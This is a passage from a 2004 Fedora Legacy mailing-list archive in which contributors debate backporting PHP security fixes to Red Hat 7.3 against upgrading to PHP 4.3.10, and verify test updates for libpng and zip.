14:18 -0500, Marc Deslauriers wrote: > > > --------------------------------------------------------------------- > > > Fedora Legacy Test Update Notification > > > FEDORALEGACY-2004-1943 > > > Bugzilla https://bugzilla.fedora.us/show_bug.cgi?id=1943 > > > 2004-12-18 > > > --------------------------------------------------------------------- > > > > > > Name : libpng > > > 7.3 Versions : libpng-1.0.15-0.7x.1.legacy > > > 9 Versions : libpng-1.2.2-20.2.legacy, libpng10-1.0.15-0.9.1.legacy > > > fc1 Versions : libpng-1.2.5-7.1.legacy, libpng10-1.0.15-7.1.legacy > > > Summary : A library of functions for manipulating PNG image format > > > files. <> > > -- > fedora-legacy-list mailing list > fedora-legacy-list at redhat.com > http://www.redhat.com/mailman/listinfo/fedora-legacy-list From michal at harddata.com Sat Dec 18 21:16:32 2004 From: michal at harddata.com (Michal Jaegermann) Date: Sat, 18 Dec 2004 14:16:32 -0700 Subject: PHP vulnerabilities? In-Reply-To: ; from pekkas@netcore.fi on Sat, Dec 18, 2004 at 07:31:25AM +0200 References: <1103327938.5791.17.camel@blue> <1103331172.1275.63.camel@rXm-581b.stl.gtri.gatech.edu> <1103334113.5791.37.camel@blue> <1103341705.11158.2.camel@mdlinux> Message-ID: <20041218141632.A14776@mail.harddata.com> On Sat, Dec 18, 2004 at 07:31:25AM +0200, Pekka Savola wrote: > > Has anyone actually looked, btw, how well > the security patch against 4.3.9 (e.g., from OpenPKG) applies to 4.1.2 > (RHL73) or php 4.2 (RHL9) ? Version 4.2 is close enough. Besides Mandrake has already php-4.2.3-4.3.C21mdk out which appears to have fixes applied. How well this patches the problems I cannot tell. Assume the best. -) With RH7.3 and 4.1.2 this is entirely different kettle of fish. I looked and I do not see any obvious way to fit these patches back. I cannot even tell if the problems are there and if yes then which particular code fragments are responsible. At least on one RH 7.3 machine I am running php 4.3.8 from the end of July of this year. How successful such substituion would be obviously depends on what applications you have on the top of it. But if they are breaking then you should have started a forward migration a long time ago. There were good reasons to break assorted grungy PHP code. It is defintely possible to compile php 4.3.10 on RH7.3. It wants newer curl but sources from RH9 recompile there without heroic efforts and that version is good enough. Michal From matt.followers at gmail.com Mon Dec 20 14:43:18 2004 From: matt.followers at gmail.com (Matt Nuzum) Date: Mon, 20 Dec 2004 09:43:18 -0500 Subject: PHP vulnerabilities? In-Reply-To: <20041218141632.A14776@mail.harddata.com> References: <1103327938.5791.17.camel@blue> <1103331172.1275.63.camel@rXm-581b.stl.gtri.gatech.edu> <1103334113.5791.37.camel@blue> <1103341705.11158.2.camel@mdlinux> <20041218141632.A14776@mail.harddata.com> Message-ID: <27c475ec041220064310809c3a@mail.gmail.com> On Sat, 18 Dec 2004 14:16:32 -0700, Michal Jaegermann > With RH7.3 and 4.1.2 this is entirely different kettle of fish. > I looked and I do not see any obvious way to fit these patches back. > I cannot even tell if the problems are there and if yes then which > particular code fragments are responsible. > > At least on one RH 7.3 machine I am running php 4.3.8 from the > end of July of this year. How successful such substituion would be > obviously depends on what applications you have on the top of it. > But if they are breaking then you should have started a forward > migration a long time ago. There were good reasons to break > assorted grungy PHP code. > > It is defintely possible to compile php 4.3.10 on RH7.3. It wants > newer curl but sources from RH9 recompile there without heroic > efforts and that version is good enough. > > Michal > Forgive me if this message sounds a little tence, the bent of the conversation is a little worrying to me. It takes 100's and 100's of hours to certify an application such as mine on a new platform - those 100's and 100's of hours equate into a lot of money. Presumably the PHP 4.1 that is currently in fedora legacy has all of the previously known security issues addressed, although that might be an inacurate assummption. So of those 27 pages of changes since 4.1.2 only the newly discovered problems are of great concern. Even if there are other security concerns lingering, this particular problem is remotely exploitable which makes it more pressing than most others. I have been testing with 4.3.8 and found numerous changes such as functions taking different params, functions being renamed, things that were marked as experimental in 4.1 stabilizing... you can imagine how these can have a dramatic effect on compatibility. Honestly, if I wanted newer versions of the software, I would upgrade. I need to use FL because I can't afford the instability of FC (Let me just point out that RedHat's EOL policy came out long after I'd made the decission to standardize on RH). I pray that some way can be found to ascertain if the problems apply to RH7.3 and if so, that a patch can be found and applied without changing the features of the PHP that is present. -- Matthew Nuzum www.followers.net - Makers of "Elite Content Management System" View samples of Elite CMS in action by visiting http://www.followers.net/portfolio/ From jonny.strom at netikka.fi Mon Dec 20 14:54:17 2004 From: jonny.strom at netikka.fi (Johnny Strom) Date: Mon, 20 Dec 2004 16:54:17 +0200 Subject: PHP vulnerabilities? In-Reply-To: <27c475ec041220064310809c3a@mail.gmail.com> References: <1103327938.5791.17.camel@blue> <1103331172.1275.63.camel@rXm-581b.stl.gtri.gatech.edu> <1103334113.5791.37.camel@blue> <1103341705.11158.2.camel@mdlinux> <20041218141632.A14776@mail.harddata.com> <27c475ec041220064310809c3a@mail.gmail.com> Message-ID: <41C6E799.1010500@netikka.fi> Matt Nuzum wrote: > On Sat, 18 Dec 2004 14:16:32 -0700, Michal Jaegermann > >>With RH7.3 and 4.1.2 this is entirely different kettle of fish. >>I looked and I do not see any obvious way to fit these patches back. >>I cannot even tell if the problems are there and if yes then which >>particular code fragments are responsible. >> >>At least on one RH 7.3 machine I am running php 4.3.8 from the >>end of July of this year. How successful such substituion would be >>obviously depends on what applications you have on the top of it. >>But if they are breaking then you should have started a forward >>migration a long time ago. There were good reasons to break >>assorted grungy PHP code. >> >>It is defintely possible to compile php 4.3.10 on RH7.3. It wants >>newer curl but sources from RH9 recompile there without heroic >>efforts and that version is good enough. >> >> Michal >> > > Forgive me if this message sounds a little tence, the bent of the > conversation is a little worrying to me. It takes 100's and 100's of > hours to certify an application such as mine on a new platform - those > 100's and 100's of hours equate into a lot of money. > > Presumably the PHP 4.1 that is currently in fedora legacy has all of > the previously known security issues addressed, although that might be > an inacurate assummption. So of those 27 pages of changes since 4.1.2 > only the newly discovered problems are of great concern. Even if there > are other security concerns lingering, this particular problem is > remotely exploitable which makes it more pressing than most others. > > I have been testing with 4.3.8 and found numerous changes such as > functions taking different params, functions being renamed, things > that were marked as experimental in 4.1 stabilizing... you can imagine > how these can have a dramatic effect on compatibility. > > Honestly, if I wanted newer versions of the software, I would upgrade. > I need to use FL because I can't afford the instability of FC (Let me > just point out that RedHat's EOL policy came out long after I'd made > the decission to standardize on RH). > > I pray that some way can be found to ascertain if the problems apply > to RH7.3 and if so, that a patch can be found and applied without > changing the features of the PHP that is present. Hi Yes the point is that we backport uppdates this is done so that existing applications will not break. And in the case of PHP so do we need to do a backport so that we do not break thousands of websites etc. I think this should be quite clear. But as I understood the issue so are we waiting to so if and when RH or others relase uppdates for old versions of PHP if they do then we need to take action immediately. Johnny From rob.myers at gtri.gatech.edu Mon Dec 20 16:04:46 2004 From: rob.myers at gtri.gatech.edu (Rob Myers) Date: Mon, 20 Dec 2004 11:04:46 -0500 Subject: Fedora Legacy and Fedora's cvs In-Reply-To: References: <1103296136.1275.7.camel@rXm-581b.stl.gtri.gatech.edu> <1103325247.1275.61.camel@rXm-581b.stl.gtri.gatech.edu> Message-ID: <1103558686.1275.102.camel@rXm-581b.stl.gtri.gatech.edu> christian- background of this thread here: https://www.redhat.com/archives/fedora-legacy-list/2004-December/msg00104.html On Sat, 2004-12-18 at 00:27, Pekka Savola wrote: > On Fri, 17 Dec 2004, Rob Myers wrote: > >> The biggest issue here is probably how much effort we'd be willing to > >> put doing QA and handling the breakage that this approach would imply. > > > > again, it is not clear to me that a "merged" FC-1 tree implies more than > > minimal updates. > > In the particular example you quoted, it did certainly mean more than > minimal updates. i agree. i found it disconcerting that it was checked into the FC-1, and that is why i pointed it out... > For example, Red Hat folks might, for some reason, update packages > in all of their archs (FC1..FC3) even though FC1 is no longer being > updated -- which would be a clear non-minimal update. Bugfixes might > also be put in all the releases at the same time. i would like for someone at redhat to clarify their use of the EOL'd trees. how do they use them now? how do they intend to use the in the future? would they be able/willing to coordinate check-ins on EOL'd trees with the fedora legacy project? rob. ps- cc'd the redhat person who announced the cvs tree in the hopes of getting some info about redhat's process/policy on EOL'd trees From jimpop at yahoo.com Mon Dec 20 16:26:16 2004 From: jimpop at yahoo.com (Jim Popovitch) Date: Mon, 20 Dec 2004 11:26:16 -0500 Subject: PHP vulnerabilities? In-Reply-To: <27c475ec041220064310809c3a@mail.gmail.com> References: <1103327938.5791.17.camel@blue> <1103331172.1275.63.camel@rXm-581b.stl.gtri.gatech.edu> <1103334113.5791.37.camel@blue> <1103341705.11158.2.camel@mdlinux> <20041218141632.A14776@mail.harddata.com> <27c475ec041220064310809c3a@mail.gmail.com> Message-ID: <1103559977.16355.6.camel@blue> On Mon, 2004-12-20 at 09:43 -0500, Matt Nuzum wrote: > Forgive me if this message sounds a little tence, the bent of the > conversation is a little worrying to me. It takes 100's and 100's of > hours to certify an application such as mine on a new platform - those > 100's and 100's of hours equate into a lot of money. Very valid. In the interest of fairness, ask yourself just how much money and time it would take to rebuild one or more hacked php servers. > Presumably the PHP 4.1 that is currently in fedora legacy has all of > the previously known security issues addressed, although that might be > an inacurate assummption. That is a big presumption. PHP developers themselves don't even maintain/verify these old versions. Who is tracking their (daily?) "changes" to see if something in FL needs to be *fixed*? > So of those 27 pages of changes since 4.1.2 > only the newly discovered problems are of great concern. Are they? I would guess that in those 27 pages of fixes there are somethings that the FL updates AND you don't know about. > Even if there > are other security concerns lingering, this particular problem is > remotely exploitable which makes it more pressing than most others. You seem too sure. Your statements make sense for something like openssh and openssl, things that have previously gone over with a fine-toothed comb by masses of people. PHP is a different story. -Jim P. From jimpop at yahoo.com Mon Dec 20 16:30:30 2004 From: jimpop at yahoo.com (Jim Popovitch) Date: Mon, 20 Dec 2004 11:30:30 -0500 Subject: Fedora Legacy Test Update Notification: libpng In-Reply-To: References: Message-ID: <1103560230.16355.8.camel@blue> +VERIFIED Needs (as I understand it) one more person to verify. -Jim P. On Sat, 2004-12-18 at 14:57 -0600, David Eisenstein wrote: > On Sat, 18 Dec 2004, Jim Popovitch wrote: > > > Whats a good way to test this? If suggesting pngtest, which version (I > > would think that it would need to be one from the 1.2.8 tree, but not > > 100% sure) > > > > -Jim P. > > Jim, > > When doing the source-level QA and testing the resulting binaries, I > tested linpng10 (on FC1) using the pngtest.c program included with the > sources, as well as running the gimp help browser (the only app. I could > find that uses libpng10 on FC1). For libpng, I also ran the included > pngtest.c + ran other programs that use libpng (such as Mozilla) to see if > they render .png graphics files okay. To "prove" to myself that > libpng/libpng10 routines were being called, I installed the .debuginfo > rpms and ran them setting breakpoints to see that they were being called, > which they were. > > HTH. -David > > > > > On Sat, 2004-12-18 at 14:18 -0500, Marc Deslauriers wrote: > > > --------------------------------------------------------------------- > > > Fedora Legacy Test Update Notification > > > FEDORALEGACY-2004-1943 > > > Bugzilla https://bugzilla.fedora.us/show_bug.cgi?id=1943 > > > 2004-12-18 > > > --------------------------------------------------------------------- > > > > > > Name : libpng > > > 7.3 Versions : libpng-1.0.15-0.7x.1.legacy > > > 9 Versions : libpng-1.2.2-20.2.legacy, libpng10-1.0.15-0.9.1.legacy > > > fc1 Versions : libpng-1.2.5-7.1.legacy, libpng10-1.0.15-7.1.legacy > > > Summary : A library of functions for manipulating PNG image format > > > files. <> > > -- > fedora-legacy-list mailing list > fedora-legacy-list at redhat.com > http://www.redhat.com/mailman/listinfo/fedora-legacy-list From jimpop at yahoo.com Mon Dec 20 16:31:09 2004 From: jimpop at yahoo.com (Jim Popovitch) Date: Mon, 20 Dec 2004 11:31:09 -0500 Subject: Fedora Legacy Test Update Notification: zip In-Reply-To: <41C482AF.8000808@videotron.ca> References: <41C482AF.8000808@videotron.ca> Message-ID: <1103560270.16355.10.camel@blue> +VERIFIED Needs (as I understand it) one more person to verify. -Jim P. On Sat, 2004-12-18 at 14:19 -0500, Marc Deslauriers wrote: > --------------------------------------------------------------------- > Fedora Legacy Test Update Notification > FEDORALEGACY-2004-2255 > Bugzilla https://bugzilla.fedora.us/show_bug.cgi?id=2255 > 2004-12-18 > --------------------------------------------------------------------- > > Name : zip > 7.3 Version : zip-2.3-26.1.0.7.3.legacy > 9 Version : zip-2.3-26.1.0.9.legacy > fc1 Version : zip-2.3-26.1.1.legacy > Summary : A file compression and packaging utility compatible with > PKZIP. > Description : > The zip program is a compression and file packaging utility. Zip is > analogous to a combination of the UNIX tar and compress commands and > is compatible with PKZIP, a compression and file packaging utility for > MS-DOS systems. > > --------------------------------------------------------------------- > Update Information: > > An updated zip package that fixes a buffer overflow vulnerability is now > available. > > The zip program is an archiving utility which can create ZIP-compatible > archives. > > A buffer overflow bug has been discovered in zip when handling long file > names. An attacker could create a specially crafted path which could > cause zip to crash or execute arbitrary instructions. The Common > Vulnerabilities and Exposures project (cve.mitre.org) has assigned the > name CAN-2004-1010 to this issue. > > Users of zip should upgrade to this updated package, which contains > backported patches and is not vulnerable to this issue. > > --------------------------------------------------------------------- > 7.3 changelog: > > * Tue Nov 16 2004 Rob Myers > 2.3-26.1.0.7.3.legacy > - Rebuild for rh73 legacy > - resolves CAN-2004-1010 (FL #2255) > > * Mon Nov 08 2004 Lon Hohberger 2.3-26.3 > - Rebuild for FC-3 > > * Mon Nov 08 2004 Lon Hohberger 2.3-26.2 > - Fix buffer overflow. #138230 > > 9 changelog: > > * Tue Nov 16 2004 Rob Myers 2.3-26.1.0.9.legacy > - Rebuild for rh9 legacy > - resolves CAN-2004-1010 (FL #2255) > > * Mon Nov 08 2004 Lon Hohberger 2.3-26.3 > - Rebuild for FC-3 > > * Mon Nov 08 2004 Lon Hohberger 2.3-26.2 > - Fix buffer overflow. #138230 > > fc1 changelog: > > * Tue Nov 16 2004 Rob Myers 2.3-26.1.1.legacy > - Rebuild for fc1 legacy > - resolves CAN-2004-1010 (FL #2255) > > * Mon Nov 08 2004 Lon Hohberger 2.3-26.3 > - Rebuild for FC-3 > > * Mon Nov 08 2004 Lon Hohberger 2.3-26.2 > - Fix buffer overflow. #138230 > > --------------------------------------------------------------------- > This update can be downloaded from: > http://download.fedoralegacy.org/ > (sha1sums) > > 7b1134632529e30a471d2ae038f414f407ac0d3e > redhat/7.3/updates-testing/i386/zip-2.3-26.1.0.7.3.legacy.i386.rpm > 8db58039a432c0f0c9ff01e07b9190ad23ac4413 > redhat/7.3/updates-testing/SRPMS/zip-2.3-26.1.0.7.3.legacy.src.rpm > 95966b2b9fdac8f17c74226c3c033b24dd6c9226 > redhat/9/updates-testing/i386/zip-2.3-26.1.0.9.legacy.i386.rpm > 92b76aadb2e46b57dd9b71927dada7b1c1154dae > redhat/9/updates-testing/SRPMS/zip-2.3-26.1.0.9.legacy.src.rpm > 9ef4498e118ca6b4a8f72b02fecde57924d51267 > fedora/1/updates-testing/i386/zip-2.3-26.1.1.legacy.i386.rpm > 2dcdfc8e6ac63e2b74cf7c781c078773e0265eb8 > fedora/1/updates-testing/SRPMS/zip-2.3-26.1.1.legacy.src.rpm > > --------------------------------------------------------------------- > > Please test and comment in bugzilla. > -- > fedora-legacy-list mailing list > fedora-legacy-list at redhat.com > http://www.redhat.com/mailman/listinfo/fedora-legacy-list From michal at harddata.com Mon Dec 20 16:41:16 2004 From: michal at harddata.com (Michal Jaegermann) Date: Mon, 20 Dec 2004 09:41:16 -0700 Subject: PHP vulnerabilities? In-Reply-To: <27c475ec041220064310809c3a@mail.gmail.com>; from matt.followers@gmail.com on Mon, Dec 20, 2004 at 09:43:18AM -0500 References: <1103327938.5791.17.camel@blue> <1103331172.1275.63.camel@rXm-581b.stl.gtri.gatech.edu> <1103334113.5791.37.camel@blue> <1103341705.11158.2.camel@mdlinux> <20041218141632.A14776@mail.harddata.com> <27c475ec041220064310809c3a@mail.gmail.com> Message-ID: <20041220094116.A988@mail.harddata.com> On Mon, Dec 20, 2004 at 09:43:18AM -0500, Matt Nuzum wrote: > > > It takes 100's and 100's of > hours to certify an application such as mine on a new platform - those > 100's and 100's of hours equate into a lot of money. This means that you have a serious incentive if you care about that fix. > Presumably the PHP 4.1 that is currently in fedora legacy Er, no. This dependes on a platform. If you are talking about RH7.3 installation, with updates, then you are correct. Something which started as RH9 or FC1 will have later versions of PHP. > > Honestly, if I wanted newer versions of the software, I would upgrade. > I need to use FL because I can't afford the instability of FC This "instability of FC" is in my experience more legend than a fact. True, FC1 had various issues and so did RH8 and from what I have seen much more severe. In any case nothing prevents you from using and _supporting_ Tao, cAos or Whitebox if you want long term platform but do not want to pay for RHEL. > I pray that some way can be found to ascertain if the problems apply > to RH7.3 Well, you have other choices outside of praying. You can wait and do nothing hoping that one day somebody will solve the problem. You can sit down and do patching and testing yourself. Your contribution to an ongoing maintenance of Legacy will be eagerly awaited. Or you can try to hire somebody to do that job for you. Sounds like in your case this should be higly cost effective. As I wrote: I did spent some time trying to see how to backport fixes. This turns out to be far from obvious and requires much more effort and time then _I_ am willing to spent on that in this moment. It does not mean that for somebody else the whole thing will look substantially different. This is a _community_ project. Michal From matt.followers at gmail.com Mon Dec 20 19:58:55 2004 From: matt.followers at gmail.com (Matt Nuzum) Date: Mon, 20 Dec 2004 14:58:55 -0500 Subject: PHP vulnerabilities? In-Reply-To: <20041220094116.A988@mail.harddata.com> References: <1103327938.5791.17.camel@blue> <1103331172.1275.63.camel@rXm-581b.stl.gtri.gatech.edu> <1103334113.5791.37.camel@blue> <1103341705.11158.2.camel@mdlinux> <20041218141632.A14776@mail.harddata.com> <27c475ec041220064310809c3a@mail.gmail.com> <20041220094116.A988@mail.harddata.com> Message-ID: <27c475ec0412201158289ca444@mail.gmail.com> On Mon, 20 Dec 2004 09:41:16 -0700, Michal Jaegermann wrote: > On Mon, Dec 20, 2004 at 09:43:18AM -0500, Matt Nuzum wrote: > > > > > It takes 100's and 100's of > > hours to certify an application such as mine on a new platform - those > > 100's and 100's of hours equate into a lot of money. > > This means that you have a serious incentive if you care about that > fix. I do care, unfortunately I am not qualified to do more than test, and I will when fixes become available. Understand, I'm not trying to start a battle, I was merely putting my $0.02 into a thread that was starting to split between "lets try to fix it" and "just upgrade to newer PHP." My point is that upgrading to a newer PHP is not a satisfactory solution to me and likely others, because if it were that easy I/we would have already upgraded. > > Honestly, if I wanted newer versions of the software, I would upgrade. > > I need to use FL because I can't afford the instability of FC > > This "instability of FC" is in my experience more legend than a > fact. True, FC1 had various issues and so did RH8 and from what > I have seen much more severe. I am not trying to say that FC is "buggy," stable to me in this context means supported and consistent. FC upgrades its software to newer versions w/out any warning and introduces new features. If doing a `yum update` breaks a program then in this context it is unstable; FC is all about up-to-date, not about legacy support. -- Matthew Nuzum www.followers.net - Makers of "Elite Content Management System" View samples of Elite CMS in action by visiting http://www.followers.net/portfolio/ From spamtrap433941935136 at anime.net Mon Dec 20 20:56:50 2004 From: spamtrap433941935136 at anime.net (Dan Hollis) Date: Mon, 20 Dec 2004 12:56:50 -0800 (PST) Subject: Fedora Legacy Test Update Notification: zip In-Reply-To: <1103560270.16355.10.camel@blue> Message-ID: verified for rh7.3 On Mon, 20 Dec 2004, Jim Popovitch wrote: > +VERIFIED > > Needs (as I understand it) one more person to verify. > > -Jim P. > > On Sat, 2004-12-18 at 14:19 -0500, Marc Deslauriers wrote: > > --------------------------------------------------------------------- > > Fedora Legacy Test Update Notification > > FEDORALEGACY-2004-2255 > > Bugzilla https://bugzilla.fedora.us/show_bug.cgi?id=2255 > > 2004-12-18 From rob.myers at gtri.gatech.edu Mon Dec 20 21:08:51 2004 From: rob.myers at gtri.gatech.edu (Rob Myers) Date: Mon, 20 Dec 2004 16:08:51 -0500 Subject: Fedora Legacy Test Update Notification: zip In-Reply-To: References: Message-ID: <1103576931.1275.112.camel@rXm-581b.stl.gtri.gatech.edu> On Mon, 2004-12-20 at 15:56, Dan Hollis wrote: > verified for rh7.3 > > On Mon, 20 Dec 2004, Jim Popovitch wrote: > > > +VERIFIED > > > > Needs (as I understand it) one more person to verify. > > > > -Jim P. is it possible for you to gpg sign your verifies? is it possible for you to enter them in bugzilla at https://bugzilla.fedora.us/show_bug.cgi?id=2255 ? rob. From abo at kth.se Mon Dec 20 22:44:04 2004 From: abo at kth.se (Alexander =?ISO-8859-1?Q?Bostr=F6m?=) Date: Mon, 20 Dec 2004 23:44:04 +0100 Subject: PHP vulnerabilities? In-Reply-To: <27c475ec0412201158289ca444@mail.gmail.com> References: <1103327938.5791.17.camel@blue> <1103331172.1275.63.camel@rXm-581b.stl.gtri.gatech.edu> <1103334113.5791.37.camel@blue> <1103341705.11158.2.camel@mdlinux> <20041218141632.A14776@mail.harddata.com> <27c475ec041220064310809c3a@mail.gmail.com> <20041220094116.A988@mail.harddata.com> <27c475ec0412201158289ca444@mail.gmail.com> Message-ID: <1103582644.9471.42.camel@tudor.e.kth.se> m?n 2004-12-20 klockan 14:58 -0500 skrev Matt Nuzum: > My point is that upgrading to > a newer PHP is not a satisfactory solution to me and likely others, > because if it were that easy I/we would have already upgraded. Yes. An upgrade to a newer PHP would be easier to create, but since it would probably break some applications it seems like it would be outside the scope of the FL project. It could still be useful for some people, but it should probably be put in a separate repository then. If no-one is willing to create a backwards-compatible security update for FL, then so be it. We all understand that. (But yes, we'll wait and see what Red Hat does with RHEL.) Most users of FL could probably switch to RHEL 2.1 or 3 (or a clone) without major incompatibilities, right? But FL is still useful for many people. For example: I use FL with RHL 9, but I could easily switch to RHEL 3 (or a clone). Yet, I haven't upgraded, because I'm waiting for RHEL 4. In the meantime, FL is useful for me. Another reason for using FL is that you simply haven't had time to switch. Then FL is better than nothing. /abo From jimpop at yahoo.com Tue Dec 21 01:52:52 2004 From: jimpop at yahoo.com (Jim Popovitch) Date: Mon, 20 Dec 2004 20:52:52 -0500 Subject: PHP vulnerabilities? In-Reply-To: <1103334113.5791.37.camel@blue> References: <1103327938.5791.17.camel@blue> <1103331172.1275.63.camel@rXm-581b.stl.gtri.gatech.edu> <1103334113.5791.37.camel@blue> Message-ID: <1103593973.21416.4.camel@blue> On Fri, 2004-12-17 at 20:41 -0500, Jim Popovitch wrote: > Given the considerable amount of changes in PHP since v4.1.2 (current FL > release), what is the possibility about just releasing a v4.3.10 rpm? > One could sorta argue that the number of security problems necessitates > more than just a point fix here and a point fix there (in no way > implying that any part of this is trivial) > Let me put this issue to rest. I spent some time investigating this and there are just too many newer dependencies that aren't currently available on RH73. So, there is slim chance that PHP 4.3.10 could even be ported to RH73, at least not without significant work. -Jim P. From michal at harddata.com Tue Dec 21 04:38:51 2004 From: michal at harddata.com (Michal Jaegermann) Date: Mon, 20 Dec 2004 21:38:51 -0700 Subject: PHP vulnerabilities? In-Reply-To: <1103593973.21416.4.camel@blue>; from jimpop@yahoo.com on Mon, Dec 20, 2004 at 08:52:52PM -0500 References: <1103327938.5791.17.camel@blue> <1103331172.1275.63.camel@rXm-581b.stl.gtri.gatech.edu> <1103334113.5791.37.camel@blue> <1103593973.21416.4.camel@blue> Message-ID: <20041220213851.A18041@mail.harddata.com> On Mon, Dec 20, 2004 at 08:52:52PM -0500, Jim Popovitch wrote: > On Fri, 2004-12-17 at 20:41 -0500, Jim Popovitch wrote: > > Given the considerable amount of changes in PHP since v4.1.2 (current FL > > release), what is the possibility about just releasing a v4.3.10 rpm? > > One could sorta argue that the number of security problems necessitates > > more than just a point fix here and a point fix there (in no way > > implying that any part of this is trivial) > > > > Let me put this issue to rest. I spent some time investigating this and > there are just too many newer dependencies that aren't currently > available on RH73. So, there is slim chance that PHP 4.3.10 could even > be ported to RH73, at least not without significant work. php-4.3.10-1.rh73.hd This is what I am running right now on some RH7.3 systems and I compiled that on Saturday together with the following: php-4.3.10-1.rh73.hd.i386.rpm php-devel-4.3.10-1.rh73.hd.i386.rpm php-imap-4.3.10-1.rh73.hd.i386.rpm php-ldap-4.3.10-1.rh73.hd.i386.rpm php-manual-4.3.10-1.rh73.hd.i386.rpm php-mysql-4.3.10-1.rh73.hd.i386.rpm php-odbc-4.3.10-1.rh73.hd.i386.rpm php-pgsql-4.3.10-1.rh73.hd.i386.rpm php-snmp-4.3.10-1.rh73.hd.i386.rpm It was rather simple to compile although quite possibly various things in packaging could be improved. If somebody would want my spec file just drop me a line. I skipped xslt support; that would complicate things although on 22 Jul 2004 on this list, with a subject "New PHP 4.3.8 RPMS Released", Stuart Low wrote: > I've just released PHP RPMs for Redhat 7.3, 9, Enterprise 3 & > Fedora Core 1/2. > Announcement here: http://www.seekbrain.com/archives/000059.html > Repository here: http://www.seekbrain.com/downloads/psa/ That particular set included xslt and 4.3.10 is not that different from 4.3.8. As a matter of fact now you can find there 4.3.9 under http://www.seekbrain.com/downloads/psa/obsolete/7.3/RPMS/ which suggests that 4.3.10 is coming (I do not know that). php-4.3.9-sp.rh73.1.src.rpm is also close by. If you plan to make your own rpms you may want rather to start with that. As I wrote before in this thread 4.3.10 wants a newer curl, unless you want to configure that without curl, but one from RH9, i.e. curl-7.9.8, is sufficient and compiles on RH7.3 system without any troubles. I see also that you can find curl-7.10.4-2.i386.rpm, and other libraries you may possibly want for a "full house" php-4.3.10, at http://www.seekbrain.com/downloads/psa/7.3/ That repository is clearly set for yum. You may _not want_ to use that for other reasons, like compatibility with your applications, but a "slim chance" is not one of those. Michal From stuart at serverpeak.com Wed Dec 22 05:31:33 2004 From: stuart at serverpeak.com (Stuart Low) Date: Wed, 22 Dec 2004 15:31:33 +1000 Subject: PHP vulnerabilities? In-Reply-To: <20041220213851.A18041@mail.harddata.com> References: <1103327938.5791.17.camel@blue> <1103331172.1275.63.camel@rXm-581b.stl.gtri.gatech.edu> <1103334113.5791.37.camel@blue> <1103593973.21416.4.camel@blue> <20041220213851.A18041@mail.harddata.com> Message-ID: <1103693493.3845.6.camel@core1.inhouse.serverpeak.com> > I skipped xslt support; that would complicate things although on > 22 Jul 2004 on this list, with a subject "New PHP 4.3.8 RPMS > Released", Stuart Low wrote: > > I've just released PHP RPMs for Redhat 7.3, 9, Enterprise 3 & > > Fedora Core 1/2. Heya, Yes, that's me. :) I've actually just finished building PHP 4.3.10 RPMS for 7.3, 9, 3ES and FC1. You can find the SRPM for all versions >RH9 here: http://www.seekbrain.com/downloads/psa/BUILD/ The RH7.3 version was more of a pain then it was worth to put into a unified build so I had to upgrade the existing RH 7.3 RPM manually. I'll release 4.3.10 within the next 24hrs for RH 7.3 and RH9 and send a message to this list once I'm done. I was going to do this yesterday but with 50+ machines to upgrade both PHP and consequently Zend Optimiser on I didn't get around to it. 8-| Stuart From stuart at serverpeak.com Wed Dec 22 06:08:34 2004 From: stuart at serverpeak.com (Stuart Low) Date: Wed, 22 Dec 2004 16:08:34 +1000 Subject: PHP vulnerabilities? In-Reply-To: <27c475ec041220064310809c3a@mail.gmail.com> References: <1103327938.5791.17.camel@blue> <1103331172.1275.63.camel@rXm-581b.stl.gtri.gatech.edu> <1103334113.5791.37.camel@blue> <1103341705.11158.2.camel@mdlinux> <20041218141632.A14776@mail.harddata.com> <27c475ec041220064310809c3a@mail.gmail.com> Message-ID: <1103695715.3845.30.camel@core1.inhouse.serverpeak.com> > Forgive me if this message sounds a little tence, the bent of the > conversation is a little worrying to me. It takes 100's and 100's of > hours to certify an application such as mine on a new platform - those > 100's and 100's of hours equate into a lot of money. I don't want this to turn into a bitch session, however, if there have been 100s of hours and consequently 1000s of dollars spent in getting certification I would imagine that fixing a large number of issues with newer PHP builds would be a minimal I.T. cost. Perhaps it would be wise to suggest to your management team that without at least some sort of timeline in place for catching your application up with what is now 2 generations of PHP versions the application they run (which is clearly mission critical and expensive) will become incompatible with the software used to run it. The fact that PHP was chosen in the first place suggests whoever made that decision would have been wise to factor in the fact that PHP is still young and will and HAS changed. If it had been C or Perl OTOH.. Personally, I agree with Michal. Sure, it may not have been worth upgrading to suit 4.2.x but pretty soon you're going to be stuck with PHP5 and then you're totally up s**t creek. When one produces a massive application and has it certified they also accept the undertaking of keeping it compatible with underlying changes with a concrete timeline on when revisions should be done. > Presumably the PHP 4.1 that is currently in fedora legacy has all of > the previously known security issues addressed, although that might be > an inacurate assummption. So of those 27 pages of changes since 4.1.2 > only the newly discovered problems are of great concern. Even if there > are other security concerns lingering, this particular problem is > remotely exploitable which makes it more pressing than most others. In my industry (Hosting), ANY vulnerability is a bad one. Period. There's no room to move and wasting time and resources on maintaining a version of PHP which is well over 3 years (??) old, particularly when you rely on someone working for free (which I believe the FL guys are, correct me if I'm wrong) it just plain doesn't make sense. If your application is worth so much perhaps you should consult with a company who is PAID to maintain EOL distros (like RH7.3)? Like Progeny for example? My bet though is that within a few years even those EOL updaters will be EOLed. ;) > I have been testing with 4.3.8 and found numerous changes such as > functions taking different params, functions being renamed, things > that were marked as experimental in 4.1 stabilizing... you can imagine > how these can have a dramatic effect on compatibility. Yes, and I can imagine how easy they are to fix (generally speaking). Allocate $X resources in the new year and step your application up so that you don't have to worry about this sort of crap (updating a deprecated version VS. a new release). > Honestly, if I wanted newer versions of the software, I would upgrade. > I need to use FL because I can't afford the instability of FC (Let me > just point out that RedHat's EOL policy came out long after I'd made > the decission to standardize on RH). Instability of Fedora Core? Err.. Redhat has commercial offerings for a REASON. RHEL3 is being maintained till 2008 I believe and cost aside, there's a bunch of free RHEL3 rebuilds. > I pray that some way can be found to ascertain if the problems apply > to RH7.3 and if so, that a patch can be found and applied without > changing the features of the PHP that is present. The way I see it, a large majority of people will have no problems with upgrading to the latest PHP. Perhaps those that do may wish to converse with each other and pay a software developer to make the legacy changes. Banks maintain their legacy Cobol applications through expensive and limited Cobol developers. There's 2 choices: 1) Upgrade your application to work with the new PHP (running it through R&D appropriately). 2) Patch PHP with backported C .patch's. (1) May seem harder now but in the long run (3-6 years) is in my opinion smarter. (2) will be more expensive over a longer period of time. Stuart From peter.peltonen at iki.fi Tue Dec 21 15:43:49 2004 From: peter.peltonen at iki.fi (Peter Peltonen) Date: Tue, 21 Dec 2004 17:43:49 +0200 Subject: PHP vulnerabilities? In-Reply-To: <1103327938.5791.17.camel@blue> References: <1103327938.5791.17.camel@blue> Message-ID: <41C844B5.5060807@iki.fi> Jim 